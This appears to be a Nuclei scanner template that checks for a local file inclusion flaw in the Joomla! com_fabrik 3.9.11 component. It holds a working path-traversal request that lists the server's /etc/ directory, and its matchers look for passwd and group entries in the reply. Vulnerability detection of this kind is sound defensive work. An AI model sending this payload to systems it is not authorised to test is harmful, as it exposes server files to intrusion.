id: joomla-com-fabrik-lfi

info:
  name: Joomla! com_fabrik 3.9.11 - Local File Inclusion
  author: dhiyaneshDk
  severity: high
  description: Joomla! com_fabrik 3.9.11 is vulnerable to local file inclusion.
  reference:
    - https://www.exploit-db.com/exploits/48263
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  metadata:
    max-request: 1
  tags: joomla,lfi,edb

http:
  - method: GET
    path:
      - '{{BaseURL}}/index.php?option=com_fabrik&task=plugin.pluginAjax&plugin=image&g=element&method=onAjax_files&folder=../../../../../../../../../../../../../../../etc/'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"value":"passwd"'
          - '"value":"group"'
          - '"disable":false'
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a004730450220087462e7885f982fb6b6a3ab5519dadc67750fb7aea46ce8daf6af48df3ce5ef0221009bc401650ddcebdab25f0a476b579417231c195eb5cf9ffe4dcf12fb1ab87ca4:922c64590222798bb761d5b6d8e72950